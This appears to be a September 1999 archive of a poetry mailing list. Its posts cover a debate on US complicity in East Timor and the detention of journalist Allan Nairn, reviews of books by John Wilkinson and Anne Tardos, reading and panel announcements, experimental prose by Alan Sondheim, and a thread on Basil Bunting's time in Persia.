
given that it would take hundreds of pages of text to even begin to approximate sufficiency, i agree. i sufficiency can even be achieved through language at all. but i don't see your point as constructive or informative, frankly.

>Yes, war with Portugal would have been disastrous, like the mouse who
>roared.
Hell, Portugal is poor, why didn't we just bribe them like everyone else?
Surely Chevron had enough moolah.

that's an excellent question. And honestly why I don't know, but i'd like to find out.

> *Open the history books.*

Ouch.

>"It is a calculated psychotic rampage. You don't have to see it; the world will go on without your seeing it. Though it would be better if you could see it. The rampage is funded and it has a history of complicity and support. The militias are either indonesians/jakartans that have settled there, finding pay as mercenaries, or even some east timorese deeply scarred from the concentration camp environment they grew up in. Keep in mind that the killing has been much much much worse in the past than it is now;"

>Yes, of course it is calculated. I do see it. The world goes on anyway.
You're touching on the local politics now, setting the scene, a scene which requires no US govt to ignite the killings.

Of course, but again, to repeat, in this instance, regardless of whether the US is REQUIRED, they were involved and were playing a role of provocateur and financers and intelligence suppliers.

>"Kissinger and Scowcroft, as representatives of the NSA (though they were also cabinet members) went with Ford on several occasions to visit with Suharto. Following the first visit, Indonesia deployed mercenaries into East Timor. the last visit (Dec. 6, 1975) presaged the full fledged invasion the following day."

>I'm going to stop here. I don't know that these two were "representatives"
>of the NSA. What do you mean by representatives? You mean operatives,
>don't you? How could the NSA select "representatives" in the common sense
>of the word? I'm
not buying that. I thought NSA was subject to guys like Kissinger, not the
other way around.

If I can find the declassified docs on-line I will send you the URLs. that's how
they are title on the presidential memos regarding the trips.

>"I wished that my country represented democracy and the values of freedom
>it
claims to represent; it is clear that i can no longer naively cling to such
a belief."

> *I don't believe that either Patrick, I just think your explanations are formula in some respects and inadequate to explain the condition of group killing psychosis.*

If they are formula, well, OK. I know I have no formula. This for me is pretty
much independent study. Inadequate? Yes. But the US is still playing a role.
If I denied that I might as well say, "arbeit macht frei".

I thinkyou are right to want more. I don;t have all the answers. But can people
add to what little work I can do and recognize what is happening? Where the
guns come from, what the motives are, where the rsouces are flowing, etc?

What I have been trying to do, and pete spence as well, is to advocate voicing
opinions to those in power to sya the direction. your skepticism is well founded
and admirable, but protesting protest itself seems a very specious tactic for
learning more about the world.

we're all responsible, you, me, pete, some leftover potato chips on a lunchroom
floor, my cat, that butterfly in india flapping its wings, and so on. but the US
clearly has a high probability of influencing future events in E Timor, as history
shows the US has a high prior probability of such influence (Bayes' theorem,
which owes everything to David Hume).

thanks Mike,

: P
Patrick

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288. **KENT JOHNSON**

The sound of drums

Fri 17 Sep 1999

Michael Neff said:

> *These are the same people who argue that Marxism is a credible political alternative and that the shout of freedom heared in eastern Europe many years ago was nothing but a CIA manipulation. They only have one drum and they bang it continuously while chanting America is Evil, America is Evil, thereby seeking the solace of moral high ground and community forever lost to them in the sixties.*

Well, Michael, the caricature you draw above of those who find fault in your arguments seems the perfectly-traced image of the "dogmatism" you claim to despise!

No one has said that those wielding the guns and machetes in Dili are morally blameless. Where did you get that one? The reason people are upset with you, I think (though your argument is not worth getting as upset about as some apparently have in back- channel), is that you are so dismissive of something self-evident: that local legacies are implicated in global histories. And in a country like Indonesia, whose history and political present are inextricable from imperialist control and manipulation, this is quite evidently the case- - right down to the fine edge on machetes, still a widely-used tool, for example, in former colonies originally integrated into the world market as providers of agricultural raw materials to metropolitan centers.

But to you, it seems, the use of "primitive," non-Pentagon supplied machetes is some anthropological sign that shows the violence as autochthonous through and through-- yet one more primal spasm in a culture condemned to repeated blood-letting. You challenge people to prove otherwise. And so people (while not disagreeing that violence is, indeed, primal) have given you ample evidence that the current strife has manifested itself inside specific conditions that our government (along with other imperialist powers) has had a considerable hand in creating and perpetuating, having helped to install and then unflaggingly abet, as it has, the same party that now organizes the machete wielders.

The irony here is that it is up to you, really, to show that this history of which people have spoken has little to do with the past and present suffering in East Timor. You haven't. And you end your intervention in this discussion, even, by suggesting that the history doesn't exist except in the minds of America-Is-Evil shouting poet- spooks trapped in a 60's induced psychosis. Deep denial is a form of psychosis, Michael. I wonder if there is a clinical name for the kind where the victim's ears are filled with the sound of beating drums?

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289. Tenney Nathanson
POG
Fri 17 Sep 1999

POG, the Tucson Poetry Group, is gearing up for its third year of programming (with funding from the Arizona Commission for the Arts and the Tucson/Pima Arts council): we're scheduling a series of roughly 9 poetry readings (and/or other art events) for this year.

If you'd like to be added to our email list; if you'd like to participate in POG events other than the public readings (such as informal POG get-togethers, readings, and discussions); or if you'd like to help out with event planning and logistics:

please email me at one of the addresses below (or just REPLY to this message).

thanks,

Tenney Nathanson
POG
UA English

mailto:[redacted]
mailto:[redacted]
http://www.u.arizona.edu/~nathanso/tn/

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290. Billy Little
Re: Review
Fri 17 Sep 1999

Profoundity doesn't seem to be your strong suit Brian
have you given any thought to musical comedy?

> *Chomsky would be happy*
> *with such poetry,*

if only kd lang would sing that,
you'd have something

some words have no meaning w/o song
wouldn't you agree?

the thought of what america would be like
if email was accompanied by accordion
twubbles ma sweep

forbidden plateau fallen body dojo
4 song st.

nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

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291. Brian Stefans
John Wilkinson, Anne Tardos
Fri 17 Sep 1999

John Wilkinson
Oort's Cloud
Barque/subpress

Collecting all of Wilkinson's early books (everything prior to 1988's Flung Clear), Oort's Cloud is this English poet's first full-length collection easily available in the United States. While Wilkinson is clearly indebted to his former teacher at Cambridge University, the poet J.H. Prynne -- both poets share a polymath range of reference and use of complex rhythms, creating a near-forbidding surface density that spirals chaotically around a generally stable underlying formal structure -- the younger poet departs in his occasional use of pop cultural references, a directly emotive (nearly satiric but decentered) form of political commentary, and emphatic, almost apocalyptic tone. Indeed, some of these poems -- which seem laden with images, yet strangely lacking in color -- can be understood as "sculptural" in the most brutal of British traditions. It's not surprising that one of the poems, "Pneumatic Drill," seems to make reference, via the phrase "rock drill," to Jacob Epstein's science fiction-like sculpture of that name. ("Rock Drill" was a piece that utilized an actual drill in it, and became the name of one of Ezra Pound's series of Cantos.) The material and rational world become a matter of hard physics, and hard post-Newtonian lessons, in Wilkinson's harsh narrative gaze: "And it's mainly a business of nerve / Finding out the outline of the body / By an accident By the fate of light / And skirting your frozen chamber / They are giants of indifference Ack! Ack! / Like an aching tooth." ("Pneumatic Drill, 51") The influence of George Oppen is apparent, especially in some of the shorter poems in which the weight of a social and moral conscience bear down heavily upon the everyday: "At three-second intervals / air / disturbed his coiffure / too dense & / closely trimmed / to model the much-admired / ruffle effect // To sell his labor power / Find a willing employer // & the competent fan / empire made" (Mile End Road, 40) However, the use of highly telescoped physical imagery (often used in the context of a view of the interchangeability of matter) suggests a more harrowed consciousness, such as in the painting of Francis Bacon or the early poems of Gottfried Benn, especially when in poems that suggest the impossibility of reaching

nearness in human relations: "Where have I take you or you guided me / Where I go is dis / ease / warts and thick / vaginal discharge / We are right to be suspicious / of contact / quoth the counter girl". ("Driving Each Other #4"). At times, as at the end of "Pneumatic Drill," Wilkinson seems to mourn the loss of the visionary capacity, or at least to ironize it; at others, he gives over to a sort of prophetic rhythm that he could be said to share with London contemporary Allen Fisher (and further back with Shelley and Blake). "Air Fleet Base" seems most key in this case, a very long poem that is rather repetitive in meter (Wilkinson's meters are purposely unalluring, but occasionally are flatten out to a overly-recognizable, or perhaps entropically dulled, pattern), but which, in its waves of accruing matter and fugue-like repeats of themes, suggests Walter Benjamin's take on Rimbaud's "Le Bateau Ivre," in which he suggests that rapid exchanges within the poem -- a sort of hypertrophied capitalism -- lead the writer to escape, or rise above, class. "I'm no stranger, I'm that arch arcadian trading sheep-eyes / off the kiosk behind the Shakespear cenotaph; how my flanks / pale in alabaster, worn with a finicky social observance / with expatriate lust," he writes in "Air Fleet Base." Wilkinson seems at pains to stay one step ahead of poetic domesticity, whether in interpretation, assimilation, but also the blindness of understanding or the deception of physical wholeness. The following lines, coming in at angles one after the other, seem to push the envelope toward the overwhelming question: "Beyond the heated policy / Which scorches the earth / Wet wool stinks on a hearth // Excess in that package / Smokes out the affirmative mate / In a blonde rage // Striation of exacted space / Enflames the offered meteors / Like burs on the carapace // His feet slip on the landing pad / Burst the sandals / Whose awaited message was banal." (notes to "About the Level I Start From," 80). Poems like "Bullyboy Tears" employ nursery-rhyme rhythms, while others bury deep within them the traces of poetic genres -- ballads, epics, pastorals -- that one wouldn't expect in late-modernist writing. This book is not for everyone, and might be a tougher sell stateside, where vocabulary and syntax has tended toward the "everyday," even when employing semantic breakage; for Wilkinson the breakages can suggest a "deep" reading of English (going back to the Anglo-Saxon), a cubist simultaneity, and finally plain old avant-gardist liberated words -- anything that shatters the picture of the unity of the contemporary social body, while placing within it the arguably still traditionally-employed poetic artifact (moralizing, eternal). Though Wilkinson sacrifices any easy notion of an "authorial voice," or a protagonist even in apparently narrative poems, he is not interested in "play" in the form of either Language poetics or the poems of Ashbery or the Oulipo group, so one looking for "postmodernism" can be at a loss as to how the images collect to form larger meaning structures, or how the music is to operate -- the "voice" itself seems obviously unattractive, and the outlook in the poems unsunny. However, close attention pays off, as traces of the peculiar brand of British social realism (and

black humor) break through, and the vulnerability of the poet and the poem -- the inability to maintain a "perspective," or to trust either the rational, autobiographical or the visionary, along with a very real marginalization that can rely on few or no secondary structures to buttress its acceptance -- becomes a matter for deep thought.

(To order: $15 to 'A'A Arts, 2955 Dole Street, Honolulu, HI 96816)

****

Ann Tardos
Uxudo
O Books / Tuumba Press

The foreword by poet Caroline Bergvall states that Uxudo - written in spliced together bits of Hungarian, German, French, English and made-up languages, as well as pronunciation keys and other linguistic graphs - is a "multilingual text," a form of first language itself which "throws up the xenophobic asymmetries of difference." (8). Indeed, the writing begins to take on a life of its own, inviting the reader into a world of semantic and phonologic echoes, an effect furthered by the inclusion of several of Tardos's video images, many of which themselves repeat with different digital effects. As an art piece, one thinks of a much-less elegant Christian Boltanski and his out-of-focus black and white portrait photos arranged as alters, shadows in silent deference to, and communication with, the lives lost in the Holocaust. As many of the texts of Uxudo are either Fluxus-inspired doggerel, sing-songy chants, or simply candid bits from everyday life, the wafts of Europe's lost innocence are hard to ignore. As visual poems, they resemble the French Lettrism, which to American eyes tend to look ugly -- most of the technology employed here is low end, and not very slick, the fonts clashing and the margins loose -- but whose chaos becomes endearing once divined. The first line, "Aller Sunden Katzen zusammengefasst," finds its echo on the facing page: "All sins of cats rolled into one / Where do we come from and where do we go? / Images, mon ami, ich smoke nicht mehr. / Gern would I do." (19) The contrast of the fairytale line with the most basic question of the cultural exile, followed by two mixed-language sentences that make sense despite their word replacement, leads one immediately into this interstitial area that could very well be the road from any European nation state -- a margin at the heart of the center. Later, a flurry of equal signs leads the reader on a heady joy-ride of mistranslation: "quake = tremblement = Beben = renges" (22), for example, or "uxudo = uxudo = uxudo = uxudo = uxudo = uxudo" (42) as if parodying the mind's inability to make sense out of the solipsistic word. After looking at this book for a fair amount of time, one is not sure if the Zaum-like neologisms are not, in fact, Hungarian, as Tardos's unreliable witness has already acquired a reputation for slipping away when apparently most needed.

In contrast to the multimedia book Dictee by the Korean American artist Theresa Cha - a text which relates, however obliquely, the story of Korea's annexation by Japan and the subsequent liberation movement - Uxudo (the title itself comes from a word that appeared in the text after a computer malfunction) exists no where more than in the mind, where words, in the act of improvisation, have to be created out of air as the linguistic environment: "multiplicatering = multiplikatern." Page thirty playfully contains the pronunciation guide and definition of the foreign words on page thirty-one, but even after that, meaning is quite elusive: "Hochgeduld after nine from a fountain / Gekreuzung vielmehr, which is how it's done / Neighboryly jolie bete / Give it time, haromvaros." (31) The words following this bit, "Afterimage = Nachbild," sums up the project of Uxudo: it is a collection of resonances, shadows, scraps and funky constructs, mixed with the fading light of the nihilistic, playful response to this disillusionment that characterized avant-garde art of the early century. It's modernism and the nostalgia for modernism.

(There are a lot of missing diacritical marks in this review.)

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292. Elizabeth Treadwell

a mild request re political discussions

Fri 17 Sep 1999

Dear Folks, I have been keeping silent on this because I fear attack--but I just have a small request.
When the threads and posts get long:

Please erase the message you are responding to!

I have other sources for news/opinions of East Timor, KPFA happens to be a few blocks from my house, etc. My scrolling time and time again (I get digest) through various stances on these issues doesn't help a person or a thing, anywhere.

Caveat: I am not trying to shut anyone up, I simply would ask the courtesy of ERASING THE MSG you are responding to. If we are interested, there is surely always the archive.

Cheers,
Elizabeth Treadwell

Outlet/DLB
http://users.lanminds.com/dblelucy

↑ Index

293. Elizabeth Treadwell
Double Lucy update
Fri 17 Sep 1999

Hi all,

The Double Lucy Books website has been updated to include excerpts from the upcoming (in October) issue of our periodical, _Outlet (4/5) Weathermap_ : new work by Taj Jackson and Gwyn McVay, plus an excerpt from Sarah Anne Cox's interview with Kathleen Fraser, in which she speaks of the current state of "feminist" poetics.

Also, updated submission information for our next issue, _Outlet (6) Stars_.

Enjoy!
Elizabeth Treadwell, Editor

Outlet Magazine/Double Lucy Books
PO Box 9013 Berkeley, CA 94709 USA
http://users.lanminds.com/dblelucy

To go straight to the Outlet page:

http://users.lanminds.com/dblelucy/page8.html

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294. Billy Little
Re: Flats?/novels of the sixties
Fri 17 Sep 1999

---

reminds me I left off that novel of Rudy Wurlitzer, Flats?

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

↑ Index

295. Jeffrey Jullich
Review -Reply
Fri 17 Sep 1999

Well, Brian, now we can all see that maybe this "little review" isn't going to be published ~with good reason.~ Only seven words seems like a ~very~ little little review, wouldn't you say? New critical miniaturism.

> *Brian Stefans <[redacted]> 09/15/99 02:35pm*

Ok, I'm probably going to be taken to task for this, but here's a little review I wrote a while ago which isn't going to be published (tho here it is!). It may seem knee-jerky to some, sloppily termed or patronizing to others, but perhaps there's some matter here worth discussing? Or if not, not.

***

Carla Harryman
The Words, After Carl Sandburg's The Rutabaga Stories and Jean-Paul Sartre
O Books

The Words is a radical, perhaps even

↑ Index

296. Michael Neff
E TIMOR: Point Made by Nairn
Fri 17 Sep 1999

This is part of a recent communication from Allan Nairn who has now been arrested by the Indonesian govt (note, not the American govt). He is commenting on an atrocity he says he witnessed. I hope all the historians will note this closely. "The American govt also bears SOME of the responsibility." Course, as to what degree is difficult to measure on an atrocity by atrocity basis, but they do bear some. And further, "TNI/ABRI is led by murderers and is responsible." The TNI/ABRI is analogous to the Savac in Iran under the Shah, only more bloodthirsty.

"I know that the army has put me on the black list. They did this because I watched their soldiers murder more than 271 people at the Santa Cruz cemetery. This crime was the responsibility of the Indonesian army commander, General Try Sutrisno and the Minister of Defense, General Benny Murdani.

The murders were committed with American M-16 rifles. The American government also bears some of the responsibility because they have armed, trained, and given money to the TNI/ABRI, even though they knew the TNI/ABRI is led by murderers and is responsible for the deaths of hundreds of thousands of Timorese, Acehnese, West Papuan and Indonesian civilians."

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297. **Tony Green**
Fw: Allan Nairn detained
Fri 17 Sep 1999

This is for information of those on the list concerned about events in E.Timor.

-----Original Message-----
From: Pat Fiske <[redacted]>
To: Merilyn Fairskye <[redacted]>; acam
<[redacted]>; alexander downer <[redacted]>;
almanac <[redacted]>; amanda sharrad
<[redacted]>; artspace australia
<[redacted]>; australia council <[redacted]>; bernard
hayward <[redacted]>; bonita ely <[redacted]>; carol
archer <[redacted]>; carol ruff <[redacted]>; carolyn
strachan <[redacted]>; catherine de lorenzo
<[redacted]>; dlux <[redacted]>; eric gidney
<[redacted]>; eva marosy-weide <[redacted]>; fiona
andreallo <[redacted]>; gabrielle finnane
<[redacted]>; gail gadd <[redacted]>; gary carsley
<[redacted]>; gary sangster <[redacted]>; gavan mcdonell
<[redacted]>; george burchett <[redacted]>; helen grace
<[redacted]>; hiramto <[redacted]>; ian howard
<[redacted]>; ifmag <[redacted]>; jackie mckimmie
<[redacted]_nospam>; jasmin stephens
<[redacted]>; jodie cunningham <[redacted]>;
joe airo-farulla <[redacted]>; john douglas
<[redacted]>; john giesekam <[redacted]>; john
hughes <[redacted]>; john stafford
<[redacted]>; john villani <[redacted]>; jon
cattapan <[redacted]>; julie <[redacted]>; karin
emerton <[redacted]>; kate richards
<[redacted]>; kim lewis <[redacted]>; les sinn
<[redacted]>; liz ashburn <[redacted]>; marcello
mercado <[redacted]>; margaret
<[redacted]>; martin bloom
<[redacted]>; martin sims <[redacted]>; max
gimblett <[redacted]>; michael snelling <[redacted]>; michele
barker <[redacted]>; michelle boulous walker
<[redacted]>; msv greg/justin <[redacted]>; nola
farman <[redacted]>; ogi pishev <[redacted]>; ognian
pishev <[redacted]>; open studio/wro <[redacted]>;
peter callas <[redacted]>; richard crampton

<[redacted]>; robert boynes <[redacted]>; rosemary
laing <[redacted]>; sally couacaud
<[redacted]>; sara hourez <[redacted]>
Date: Saturday, 18 September 1999 12:30
Subject: Re: Allan Nairn detained

All, I have received the following email from Gaylene Preston who is the producer of Punitive Damage (about New Zealand-Malaysian student Kamal Bamadhaj shot by the Indonesian military) - an excellent film that you should try to see if you haven't already. If anyone has ideas of how to help, she would appreciate it.

Thanks

Pat Fiske

Dear Pat,
I've just had some worrying news and am contacting you as I know you know how to get word around to those who care.
Allan Nairn, the American journalist in PUNITIVE DAMAGE who gave evidence at the trial and was an eye witness to the massacre, has been arrested and detained in Dili. I'm really worried about him and wonder if there's people you can contact who are influencial who may have seen the film and could put some pressure on? political or publicity?
Hope you are well.
I have just been up country visiting a friend who is dying of breast cancer, and your film was very much on my mind.
Love,
Gaylene.

Jakarta, Sept. 14 (Lusa) - American journalist Allan Nairm, one of the last journalists remaining in the devastated East Timorese capital, was detained by Indonesian security forces Tuesday, the U.S. embassy in Jakarta said. An embassy spokeman said the correspondent of the New York publication The Nation "has been detained and is being interrogated by (Indonesian) police and military" in Dili. Nairm, who has been twice expelled from Indonesia in recent years for his reporting on East Timor, was detained while viewing the destruction caused in Dili by rampaging militia, who acted with the complicity of Indonesian forces. -Lusa-

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298. **Tony Green**
Fw: news of Allan Nairn
Fri 17 Sep 1999

---

further information on Nairn's fate
-----Original Message-----
From: Pat Fiske <[redacted]>
To: [redacted] <[redacted]>
Date: Saturday, 18 September 1999 14:15
Subject: FW: news of Allan Nairn

Date: Sat, 18 Sep 1999 10:31 AM

http://www.usnewswire.com/topnews/Current_Releases/0917-107.htm

Indonesian Regime to Prosecute U.S. Journalist
U.S. Newswire
17 Sep 9:58

Indonesian Regime to Prosecute U.S. Journalist
To: National and International desks
Contact: Amy Goodman, [redacted]

/UPDATE/

WASHINGTON, Sept. 17 /U.S. Newswire/ -- Benny Mateus, the chief justice of Nusa Tenggara Province intends to prosecute U.S. journalist Allan Nairn for two technical violations of Indonesian immigration law, a local immigration official in Kupang, West Timor has informed Nairn.

Nairn is to be charged with engaging in unauthorized activities and overstaying his two-month visa. Both acts are considered illegal under sections 50 and 52 of the Indonesian immigration laws. If convicted, Nairn could face 10 years in prison.

Nairn, who was arrested in Dili on September 14, was one of the last journalists reporting from East Timor. Indonesian forces transferred him to Kupang in West Timor, a part of Indonesia.

A local immigration official, Mr. Zurya, has been interrogating Nairn at the immigration facility in downtown Kupang for several days.

According to Indonesian officials in Kupang, while Mateus is seeking to charge Nairn, the Minister of Justice, Dr. Muladi, and the Minister of Information, Yunus Yosfiah, are inclined to deport Nairn.

Kupang is not a safe place. The militia that have been terrorizing East Timor are now rampaging through the refugee camps in West Timor where more than 100,000 East Timorese now reside after being driven from their homes.

Hostility to Westerners in Kupang is soaring. It is likely that a U.S. citizen like Nairn will be in great danger if he is not deported immediately.

-0-
/U.S. Newswire [redacted]/
09/17 09:58

Copyright 1999, U.S. Newswire

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299. Alan Sondheim
writing the bad text
Sat 18 Sep 1999

-

Writing the Bad Text

I started writing the bad text by describing Nikuko's body as represented in a three-dimensional image, a problem immediately in translation. I needed term after term for bulbous, distended, pubescent, extravagant, outlandish, globular, following the torus meshed, pulled out from the shape, sloped into Nikuko's in-candescent form. I continued, transforming hard-s endings to -z, stars to starz, looking towards hacker/pop culture Krazy Kat Kuntry Kitchen for deep in-spir-ing. I mauled the text, took it bare-handed, caressing again that trite sexuality of seduction and sus- pense; I mauled the text, advertising the image of Nikuko's body, and by proxy, the images of her space, her mouth, her fingers, her bones -- hyp- nagogic and literally unforgettable images, images of trans-forming beauty. I repeatedly erred in the production of the text, using the dis-play pro- gram for insertions and rearrangements that refused to accommodate the de- construction of narrative and intensity that might have brought the reader to his or her knees, oh gendered topography of Nikuko's body! I tried to salvage the work by giving the URL after the date, one addressing time and the other space, as if a last resort to facticity would salvage the rest of the failure. I saw the failure proceeding as a failure; now I wrote this text, in the present, in the past, in order to efface the other, work an astonishment of language, the wonder of newborn words from me to you. I am utterly ashamed; my abjection is a defense, even though I feel I sul- lied the display program itself by a failure to produce. Perhaps the fine quality of the images themselves could only de-tract from the text; perhaps the text was at the blue-jewel-nub of exhaustion. In any case, I'm sure it's gone stillborn and missing; I won't fail at cauterization. What's re- moved from the throat can only speak mechanically, like chattering teeth, somewhere outside the range of human hearing.

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300. Alan Sondheim

best version. Dear Chris, this is the right version. Love, Alan.

Sat 18 Sep 1999

-

Writing the Bad Text

I started writing the bad text by describing Nikuko's body as represented in a three-dimensional image, a problem immediately in translation. I needed term after term for bulbous, distended, pubescent, extravagant, outlandish, globular, following the torus meshed, pulled out from the shape, sloped into Nikuko's incandescent form. I continued, transforming hard-s endings to -z, stars to starz, looking towards hacker/pop culture Krazy Kat Kuntry Kitchen for deep in-spiring. I mauled the text, took it bare-handed, caressing again that trite sexuality of seduction and sus- pense; I mauled the text, advertising the image of Nikuko's body, and by proxy, the images of her space, her mouth, her fingers, her bones -- hyp- nagogic and literally unforgettable images, images of transforming beauty. I repeatedly erred in the production of the text, using the display pro- gram for insertions and rearrangements refuseing to accommodate the de- construction of narrative and intensity that might have brought the reader to his or her knees, oh gendered topography of Nikuko's body! I tried to salvage the work by giving the URL after the date, one addressing space and the other time, as if a last resort to facticity would efface the rest of the failure. I saw the failure proceeding as a failure; now I wrote this text, in the present, in the past, in order to negate the other, work an astonishment of language, the wonder of newborn words from me to you. I am utterly ashamed; my abjection is a defense, even though I feel I sul- lied the display program itself by a failure to produce. Perhaps the fine quality of the images themselves could only detract from the text; perhaps the text was at the blue-jewel-nub of exhaustion. In any case, I'm sure it's gone stillborn and missing; I won't fail at cauterization. What's re- moved from the throat can only speak mechanically, like chattering teeth, somewhere outside the range of human hearing. 09:18:1999:1:55:59
URL: http://trace.ntu.ac.uk/writers/sondheim/bodi.gif (body)
http://trace.ntu.ac.uk/writers/sondheim/nik.gif (mouth)
http://trace.ntu.ac.uk/writers/sondheim/decon.gif (bones)
http://trace.ntu.ac.uk/writers/sondheim/finger.jpg (fingers)
http://trace.ntu.ac.uk/writers/sondheim/space.jpg (space)

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301. **Creelea Henderson**
Re: Bunting in Persia
Sat 18 Sep 1999

Here's what Bunting himself says he was doing in Persia, circa 1948:

". . . the journalists mostly ran away. They were terrified by mobs and by other threats. I have never seen people like them. Very few of them showed the slightest spunk of any sort. There was just one from the DAILY EXPRESS who was not afraid to go with me into the middle of a big riot. But, after the Greek journalist got hit on the head and was killed during a riot, the rest departed. It was shocking. I think all the cheap English papers and the American papers, without exception, disappeared within the next two or three days. In fact, all these kind of things are much less dangerous than people imagine. You can go about with threats against your life for a long time and nothing happens at all -- there's no use taking the slightest notice of them. I've been shot once or twice, and often had people looking for me supposed to be going to kill me if they could, but they never got around to it. If somebody hires a man to kill you, that man doesn't want to earn the money. He wants to get the money, but once he kills you he's taking a risk for it and he's not likely to kill you at all. One time there was a mob. I don't know quite who had hired them but I've no doubt they were hired all right. They came around and began shouting outside the door of the Riza in Teheran for my life. They *wanted* to kill me. And I sat in the flat of the Reuter's correspondent and watched for some time and then said I want to go hear what they're saying. And Reuter's man was a bit afraid to go out. I said what the hell, no one knows what I look like or anything. I went out. I walked into the crowd and stood amongst them and shouted DEATH TO MR. BUNTING! with the best of them, and nobody took the slightest notice of me. Another time, two men with pistols arrived at our door while I was taking an afternoon nap. My wife told them I wasn't in. That was all; they accepted that and went away again. There's no great determination on the part of hired assassins."

--from the interview with Jonathan Williams, pub. 1968 as DESCANT ON RAWTHEY'S MADRIGAL.

Given a better perspective on this side of the 1979 revolution, it's unfortunate that Bunting paints those early protests as paid contrivances--but then one is tempted to say that's Bunting for you. Probably he was too busy exercising his bravado to organize the coup (if that's what you were suggesting). He returned to the UK in 1951.

Regardless, it seems to me Bunting is nearly impossible read as a model of an even remotely admirable political stance. I do find him fascinating, however, for the glimpse he affords into a worldview that I really think shan't come again.

Impossibly self-assured, pointedly contemptuous of "cowards" and "frauds," beauty as a purifier of character containing its own absolute authority, and the like. But his work was only published post WWII, and the times had changed, were changing, beneath him. Yet he actually seems to will himself, even more than Pound, out of his own time, until his conservatism (though he wouldn't call it such), like the conservatism of the Amish, becomes a kind of pure eccentricity, no longer digestible even by conservatives.

And he does know, on occasion, how to cram alotta furniture into a small space. "Guides at the top claim fees/though the way is random"

Others, I understand, may not be able to consider Bunting's "Poet appointed dare not decline" pomposity a mere historical curiosity. And we've yet to mention his "Carmencita's tawny paps/glow through a threadbare frock," etc.

Brent Cunningham

At 04:25 PM 9/16/99 +1000, you wrote:
>I'm not trying to deflect the worthwhile political drift of the List here,
>but I've always wondered just what Basil Bunting was doing in Iran as a
>British spy.
>
>My Hutchinson Encyclopeda says:
>
>"During World War II, Iran was occupied by British, US, and Soviet troops
>until 1946. Anti-British and anti-American feeling grew and in 1951 the
>newly elected prime minister, Dr Muhammad Mossadeq, obtained legislative
>approval for the nationalilzation of Iran's largely foreign-owned petroleum
>industry. With US connivance, he was deposed in a 1953 coup and the dispute
>over nationalisation was settled the following year when oil-drilling
>concessions were granted to a consortium of eight companies. "
>
>Basil?
>
>Basil?
>
>
> -- John Tranter, editor, Jacket magazine
>
>
> from
> John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
> tel ([redacted] fax ([redacted]
> Editor, Jacket magazine: http://www.jacket.zip.com.au/welcome.html

> Homepage: five megabytes of glittering literature, free, at
> http://www.alm.aust.com/~tranterj/index.html
>

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302. Tisa Bryant
SF Book Festival Panel Discussions
Sat 18 Sep 1999

(Talk to Me) In My Language, a panel hosted by the 1999 San Francisco Bay Area Book Festival, October 16, 1999, 3:30 pm, Fort Mason, Marina Conference Center, San Francisco. Co-sponsored by Small Press Distribution and Modern Times Bookstore.

A gathering of innovative writers of color, exploring the nuances and challenges of communication and community, tradition and experimentation, publishing and politics, from the perspectives of Will Alexander, Catalina Cariaga, Summi Kaipa, Pamela Lu, Nathaniel Mackey, Harryette Mullen. Moderated by Tisa Bryant.

Will Alexander' is the author of Asia & Haiti (Sun & Moon, 1995), Stratospheric Canticles (Pantograph, 1995), Towards the Primeval Lightning Field (O Books, 1998), and his latest book of poems, Above The Human Nerve Domain (Pavement Saw Press, 1998). He has recent writing in the latest issues of Chain, Fence, Orpheus Grid, and in translation, a set of poems in the journal Vatra out of Bucharest, Romania. A special section of Callalloo, edited by Harryette Mullen and dedicated to the work of Mr. Alexander, is forthcoming, as is his novella, Alien Weaving, from Green Integer Press.

Catalina Cariaga was born in Los Angeles, CA (1958) and received her Bachelors of Music from Mount St. Mary's College in Los Angeles, and her Masters of Fine Arts in Creative Writing from San Francisco State Unversity. She is a contributing editor of Poetry Flash, a Poetry Review and Literary Calendar for the West. She has taught on the adjunct faculty of the Poetics Program at New College of California in San Francisco. Her poetry has been published in many journals, including Chain, Lipstick 11, New American Writing and ZYZZYVA. Cultural Evidence is her first book of poetry (Subpress, 1999). She works for University Relations at UC Berkeley, and lives in Oakland.

Summi Kaipa is the editor of Interlope, a journal of Asian American poetics. She has published work in Fourteen Hills Review, Kenning, Rhizome, Rain Taxi, Tool A Magazine and Tripwire . A chapbook of her poetic work is forthcoming from Leroy Press.

Pamela Lu was born in Southern California and studied mathematics at the University of California, Berkeley. Since 1995 she has worked as a technical writer in Silicon Valley and co-edited Idiom (www.idiomart.com), an online journal and chapbook press. In addition to a book of fanciful non-fiction, Pamela: A Novel (Atelos Press,1999), she has had prose and poetry published in a number of journals, including Chain, Chicago Review, Clamour, Explosive Magazine, Interlope, Mirage, and Poetics Journal. She lives in San Francisco.

Nathaniel Mackey is the author of several chapbooks and books of poetry, among them Four for Trane (Golemics, 1978), Outlantish (Chax Press, 1992) Eroding Witness (University of Illinois Press, 1985), School of Udhra (City Lights Books, 1993) and Whatsaid Serif (City Lights Books, 1998). Strick: Song of the Andoumboulou 16-25, a compact disc recording of poems read with musical accompaniment was released in 1995 by Spoken Engine Company. He is the author of an ongoing prose composition, From A Broken Bottle Traces of Perfume Still Emanate, of which two volumes have been published: Bedouin Hornbook (Callaloo Fiction Series, 1986; second edition: Sun & Moon Press,1997) and Djbot Baghostus's Run (Sun & Moon Press, 1993), and editor of the literary magazine Hambone, and coeditor (with Art Lange) of the anthology Moment's Notice: Jazz in Poetry and Prose (Coffee House Press, 1993). He is also the author of a book of critical essays, Discrepant Engagement: Dissonance, Cross-Culturality, and Experimental Writing (Cambridge University Press, 1993). Mr. Mackey is Professor of Literature at the University of California, Santa Cruz.

Harryette Mullen's most recent book of poems, her fourth, is Muse and Drudge (Singing Horse Press, 1995). Her previous books of poems include Trimmings (Tender Buttons, 1991) and S*PeRM**K*T (Singing Horse Press, 1992). Ms. Mullen's work has just appeared or is forthcoming in Hambone, Moving Borders: An Anthology of Innovative Writing by Women, The Gertrude Stein Awards for Innovative Poetry, Santa Monica Review, Frame-Work, and the exhibit catalog of the Kimchi Xtravaganza at the Korean American Museum. She is also the author of Freeing the Soul: Race, Subjectivity and Difference in Slave Narratives, forthcoming from Cambridge University Press, December 1999. She teaches at the University of California, Los Angeles.

****

Followed by "Fast, Cheap and Out of Control: New Publishers at SPD", a panel of new SPD publishers will discuss and answer questions about running a successful small press today. The panel will be moderated by Laura Moriarty, Assistant Director of Small Press Distribution, and features:
SKANKY POSSUM Hoa Nguyen, Dale Smith
MELODEON POETRY SYSTEMS Peter Neufield, Eric Frost
